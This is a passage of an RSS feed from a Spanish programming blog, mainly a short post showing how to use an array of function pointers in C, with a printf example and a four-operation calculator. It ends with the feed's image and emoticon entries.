  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sswteam.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sswteam.wordpress.com/67/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sswteam.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sswteam.wordpress.com/67/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sswteam.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sswteam.wordpress.com/67/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sswteam.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sswteam.wordpress.com/67/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sswteam.wordpress.com/67/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sswteam.wordpress.com/67/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=67&subd=sswteam&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://sswteam.wordpress.com/2009/07/21/creando-una-shellcode-x86/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">lShadowl</media:title>
		</media:content>

		<media:content url="http://img18.imageshack.us/img18/3113/sctut1.jpg" medium="image" />

		<media:content url="http://img189.imageshack.us/img189/9650/sctut0.jpg" medium="image" />

		<media:content url="http://img145.imageshack.us/img145/9991/sctut2.jpg" medium="image" />

		<media:content url="http://img134.imageshack.us/img134/3334/sctut3.jpg" medium="image" />

		<media:content url="http://img529.imageshack.us/img529/4734/sctut4.jpg" medium="image" />
	</item>
		<item>
		<title>Array de funciones en C</title>
		<link>http://sswteam.wordpress.com/2009/06/29/array-de-funciones-en-c/</link>
		<comments>http://sswteam.wordpress.com/2009/06/29/array-de-funciones-en-c/#comments</comments>
		<pubDate>Mon, 29 Jun 2009 02:38:57 +0000</pubDate>
		<dc:creator>ni0ssw</dc:creator>
				<category><![CDATA[Tutoriales & Manuales]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[Ni0]]></category>

		<guid isPermaLink="false">http://sswteam.wordpress.com/?p=64</guid>
		<description><![CDATA[Hola, vamos a ver algo muy loco, algo que nose si en otros lenguajes se pueda, pero en C obiamente SI 
hace un tiempo descubri q se podia hacer esto y me quede         : :       xDDD
/**********************************************************/

#include "stdio.h"

typedef int (*_func)(char *, ...);
_func [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=64&subd=sswteam&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>Hola, vamos a ver algo muy loco, algo que nose si en otros lenguajes se pueda, pero en C obiamente SI <img src="http://foro.code-makers.es/Smileys/default/tongue.gif" border="0" alt="Lengua" /></p>
<p>hace un tiempo descubri q se podia hacer esto y me quede  <img src="http://foro.code-makers.es/Smileys/default/xd.png" border="0" alt="xD" /> <img src="http://foro.code-makers.es/Smileys/default/confused.png" border="0" alt=":S" /> <img src="http://foro.code-makers.es/Smileys/default/cry.png" border="0" alt=":'(" /> <img src="http://foro.code-makers.es/Smileys/default/cruz.png" border="0" alt=":P" /> <img src="http://foro.code-makers.es/Smileys/default/want.png" border="0" alt=":O" /> <img src="http://foro.code-makers.es/Smileys/default/want.png" border="0" alt=":O" /> <img src="http://foro.code-makers.es/Smileys/default/want.png" border="0" alt=":O" /> :<img src="http://foro.code-makers.es/Smileys/default/smiley.gif" border="0" alt="Sonrisa" /> :<img src="http://foro.code-makers.es/Smileys/default/smiley.gif" border="0" alt="Sonrisa" /> <img src="http://foro.code-makers.es/Smileys/default/huh.gif" border="0" alt="Huh?" /> <img src="http://foro.code-makers.es/Smileys/default/huh.gif" border="0" alt="Huh?" /> <img src="http://foro.code-makers.es/Smileys/default/shocked.gif" border="0" alt="Impresionado" /> <img src="http://foro.code-makers.es/Smileys/default/shocked.gif" border="0" alt="Impresionado" /> <img src="http://foro.code-makers.es/Smileys/default/shocked.gif" border="0" alt="Impresionado" /> <img src="http://foro.code-makers.es/Smileys/default/shocked.gif" border="0" alt="Impresionado" /> xDDD</p>
<p>/**********************************************************/</p>
<pre>
<span style="color:#339933;">#include "stdio.h</span>"

<span style="color:#993333;">typedef</span> <span style="color:#993333;">int</span> <span style="color:#66cc66;">(</span>*_func<span style="color:#66cc66;">)</span><span style="color:#66cc66;">(</span><span style="color:#993333;">char</span> *, ...<span style="color:#66cc66;">)</span>;
_func func<span style="color:#66cc66;">[</span><span style="color:#cc66cc;">10</span><span style="color:#66cc66;">]</span>;

<span style="color:#993333;">int</span> main<span style="color:#66cc66;">(</span><span style="color:#993333;">void</span><span style="color:#66cc66;">)</span>
<span style="color:#66cc66;">{</span>
  func<span style="color:#66cc66;">[</span><span style="color:#cc66cc;">5</span><span style="color:#66cc66;">]</span> = <span style="color:#66cc66;">(</span>_func<span style="color:#66cc66;">)</span><a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color:#000066;">printf</span></a>;
  func<span style="color:#66cc66;">[</span><span style="color:#cc66cc;">5</span><span style="color:#66cc66;">]</span><span style="color:#66cc66;">(</span><span style="color:#ff0000;">"hola mundo!<span style="color:#000099;font-weight:bold;">\n</span>"</span><span style="color:#66cc66;">)</span>;
  getchar<span style="color:#66cc66;">(</span><span style="color:#66cc66;">)</span>;
  <span style="color:#b1b100;">return</span> <span style="color:#cc66cc;">0</span>;
<span style="color:#66cc66;">}</span></pre>
<p>/**********************************************************/</p>
<p>utilize func[<strong><span style="text-decoration:underline;">5</span></strong>] solo para demostrar que estoy trabajando con el array <img src="http://foro.code-makers.es/Smileys/default/tongue.gif" border="0" alt="Lengua" /></p>
<p>no puse getchar dentro del array porque getchar esta declarado diferente que printf&#8230;<br />
veamos una utilidad buena para esto del array de funciones:</p>
<p>/**********************************************************/</p>
<pre><span style="color:#339933;">#include "stdio.h"</span>

<span style="color:#993333;">typedef</span> <span style="color:#993333;">float</span> <span style="color:#66cc66;">(</span>*_func<span style="color:#66cc66;">)</span><span style="color:#66cc66;">(</span><span style="color:#993333;">float</span>, <span style="color:#993333;">float</span><span style="color:#66cc66;">)</span>;

<span style="color:#993333;">float</span> add<span style="color:#66cc66;">(</span><span style="color:#993333;">float</span> a, <span style="color:#993333;">float</span> b<span style="color:#66cc66;">)</span>
<span style="color:#66cc66;">{</span>
  <span style="color:#b1b100;">return</span> a + b;
<span style="color:#66cc66;">}</span>

<span style="color:#993333;">float</span> sub<span style="color:#66cc66;">(</span><span style="color:#993333;">float</span> a, <span style="color:#993333;">float</span> b<span style="color:#66cc66;">)</span>
<span style="color:#66cc66;">{</span>
  <span style="color:#b1b100;">return</span> a - b;
<span style="color:#66cc66;">}</span>

<span style="color:#993333;">float</span> mul<span style="color:#66cc66;">(</span><span style="color:#993333;">float</span> a, <span style="color:#993333;">float</span> b<span style="color:#66cc66;">)</span>
<span style="color:#66cc66;">{</span>
  <span style="color:#b1b100;">return</span> a * b;
<span style="color:#66cc66;">}</span>

<span style="color:#993333;">float</span> div<span style="color:#66cc66;">(</span><span style="color:#993333;">float</span> a, <span style="color:#993333;">float</span> b<span style="color:#66cc66;">)</span>
<span style="color:#66cc66;">{</span>
  <span style="color:#b1b100;">if</span><span style="color:#66cc66;">(</span>b == <span style="color:#cc66cc;">0</span><span style="color:#66cc66;">)</span>
      <span style="color:#b1b100;">return</span> <span style="color:#cc66cc;">0</span>;
  <span style="color:#b1b100;">return</span> a / b;
<span style="color:#66cc66;">}</span>

<span style="color:#808080;font-style:italic;">/*cargamos nuestro vector de funciones...*/</span>
_func func<span style="color:#66cc66;">[</span><span style="color:#cc66cc;">4</span><span style="color:#66cc66;">]</span> = <span style="color:#66cc66;">{</span>add, sub, mul, div<span style="color:#66cc66;">}</span>;

<span style="color:#993333;">int</span> main<span style="color:#66cc66;">(</span><span style="color:#993333;">void</span><span style="color:#66cc66;">)</span>
<span style="color:#66cc66;">{</span>
  <span style="color:#993333;">int</span> num = <span style="color:#cc66cc;">0</span>;
  <span style="color:#993333;">float</span> a,b;
  <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color:#000066;">printf</span></a><span style="color:#66cc66;">(</span><span style="color:#ff0000;">"Ingrese 2 numeros<span style="color:#000099;font-weight:bold;">\n</span>"</span><span style="color:#66cc66;">)</span>;
  scanf<span style="color:#66cc66;">(</span><span style="color:#ff0000;">"%f %f"</span>, &amp;a, &amp;b<span style="color:#66cc66;">)</span>;
  <span style="color:#b1b100;">while</span><span style="color:#66cc66;">(</span>num &gt; <span style="color:#cc66cc;">4</span> || num &lt; <span style="color:#cc66cc;">1</span><span style="color:#66cc66;">)</span><span style="color:#66cc66;">{</span>
      <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color:#000066;">printf</span></a><span style="color:#66cc66;">(</span><span style="color:#ff0000;">"1 - Sumar<span style="color:#000099;font-weight:bold;">\n</span>2 - Restar<span style="color:#000099;font-weight:bold;">\n</span>3 - Multiplicar<span style="color:#000099;font-weight:bold;">\n</span>4 - Dividir<span style="color:#000099;font-weight:bold;">\n</span>"</span><span style="color:#66cc66;">)</span>;
      scanf<span style="color:#66cc66;">(</span><span style="color:#ff0000;">"%d"</span><span style="color:#66cc66;">,</span> &amp;num<span style="color:#66cc66;">)</span>;<span style="color:#808080;font-style:italic;"> /*gracias Anibal xD*/
</span>   <span style="color:#66cc66;">}</span>
  num--;
<span style="color:#808080;font-style:italic;">/*por el metodo "tradicional" tendria que venir un switch o varios ifs...*/</span>
  <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span style="color:#000066;">printf</span></a><span style="color:#66cc66;">(</span><span style="color:#ff0000;">"Resultado: %f<span style="color:#000099;font-weight:bold;">\n</span>"</span>, func<span style="color:#66cc66;">[</span>num<span style="color:#66cc66;">]</span><span style="color:#66cc66;">(</span>a, b<span style="color:#66cc66;">)</span><span style="color:#66cc66;">)</span>;
  <span style="color:#b1b100;">while</span><span style="color:#66cc66;">(</span>getchar<span style="color:#66cc66;">(</span><span style="color:#66cc66;">)</span> != <span style="color:#ff0000;">'<span style="color:#000099;font-weight:bold;">\n</span>'</span><span style="color:#66cc66;">)</span>;   <span style="color:#808080;font-style:italic;">/*la forma que utiliza Ramc para vaciar el buffer xD*/</span>
  getchar<span style="color:#66cc66;">(</span><span style="color:#66cc66;">)</span>;
<span style="color:#66cc66;">}</span>

/**********************************************************/</pre>
<p>bueno, eso es todo, creo q es facil de entender</p>
<p>salu2!</p>
<p>P.D: pufff hace cuanto q no posteaba en C!! <img src="http://foro.code-makers.es/Smileys/default/xd.png" border="0" alt="xD" /></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sswteam.wordpress.com/64/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sswteam.wordpress.com/64/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sswteam.wordpress.com/64/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sswteam.wordpress.com/64/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sswteam.wordpress.com/64/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sswteam.wordpress.com/64/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sswteam.wordpress.com/64/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sswteam.wordpress.com/64/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sswteam.wordpress.com/64/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sswteam.wordpress.com/64/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=64&subd=sswteam&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://sswteam.wordpress.com/2009/06/29/array-de-funciones-en-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">ni0ssw</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/tongue.gif" medium="image">
			<media:title type="html">Lengua</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/xd.png" medium="image">
			<media:title type="html">xD</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/confused.png" medium="image">
			<media:title type="html">:S</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/cry.png" medium="image">
			<media:title type="html">:'(</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/cruz.png" medium="image">
			<media:title type="html">:P</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/want.png" medium="image">
			<media:title type="html">:O</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/want.png" medium="image">
			<media:title type="html">:O</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/want.png" medium="image">
			<media:title type="html">:O</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/smiley.gif" medium="image">
			<media:title type="html">Sonrisa</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/smiley.gif" medium="image">
			<media:title type="html">Sonrisa</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/huh.gif" medium="image">
			<media:title type="html">Huh?</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/huh.gif" medium="image">
			<media:title type="html">Huh?</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/shocked.gif" medium="image">
			<media:title type="html">Impresionado</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/shocked.gif" medium="image">
			<media:title type="html">Impresionado</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/shocked.gif" medium="image">
			<media:title type="html">Impresionado</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/shocked.gif" medium="image">
			<media:title type="html">Impresionado</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/tongue.gif" medium="image">
			<media:title type="html">Lengua</media:title>
		</media:content>

		<media:content url="http://foro.code-makers.es/Smileys/default/xd.png" medium="image">
			<media:title type="html">xD</media:title>
		</media:content>
	</item>
	</channel>
</rss>